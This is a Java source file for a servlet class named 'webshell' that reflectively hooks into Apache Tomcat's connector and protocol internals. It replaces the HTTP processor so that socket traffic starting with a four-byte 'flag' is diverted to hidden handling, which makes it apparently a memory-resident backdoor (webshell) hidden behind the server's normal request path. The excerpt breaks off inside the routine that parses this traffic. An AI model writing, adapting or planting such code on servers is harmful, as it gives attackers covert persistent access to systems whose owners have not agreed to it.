Class webshell

src/main/java/org/example/webshell.java:20–168

import java.util.Collections;

@WebServlet(urlPatterns = "/test")
public class webshell extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field reqF = req.getClass().getDeclaredField("request");
            reqF.setAccessible(true);
            Request request = (Request) reqF.get(req);
            Connector connector = request.getConnector();
            Http11NioProtocol protocolHandler = (Http11NioProtocol) connector.getProtocolHandler();
            Field handler = protocolHandler.getClass().getSuperclass().getSuperclass().getSuperclass()
                    .getDeclaredField("handler");
            handler.setAccessible(true);
            Object hd = handler.get(protocolHandler);

            Field proto = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler")
                    .getDeclaredField("proto");
            proto.setAccessible(true);
            Http11NioProtocol protocol = (Http11NioProtocol) proto.get(hd);
            Adapter adapter = protocol.getAdapter();
            Field endpoint = protocol.getClass().getSuperclass().getSuperclass().getSuperclass()
                    .getDeclaredField("endpoint");
            endpoint.setAccessible(true);
            AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol);
            Http11NioProtocol protocol1 = new Http11NioProtocol() {
                @Override
                protected Processor createProcessor() {
                    Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(),
                            protocol.getAllowHostHeaderMismatch(),
                            protocol.getRejectIllegalHeaderName(), endpoint1,
                            protocol.getMaxTrailerSize(),
                            Collections.singleton(protocol.getAllowedTrailerHeaders()),
                            protocol.getMaxExtensionSize(),
                            protocol.getMaxSwallowSize(),
                            null,
                            protocol.getSendReasonPhrase(),
                            protocol.getRelaxedPathChars(),
                            protocol.getRelaxedQueryChars()) {
                        @Override
                        public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper,
                                                                            SocketEvent status) throws IOException {
                            if (status == SocketEvent.OPEN_READ) {
                                ByteBuffer buffer = ByteBuffer.allocate(4);
//                                socketWrapper.read(false, buffer);
                                ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer();
                                // WebShell的flag
                                int read = socketWrapper.read(true, buffer);
                                if (read < 4) {
                                    readBuffer.position(0);
                                    return super.process(socketWrapper, status);
                                }
                                if (!tlv.validate(buffer.array())) {
                                    readBuffer.position(0);
                                    return service(socketWrapper);
                                }
                                // 获取长度
                                switch (readBuffer.get()) {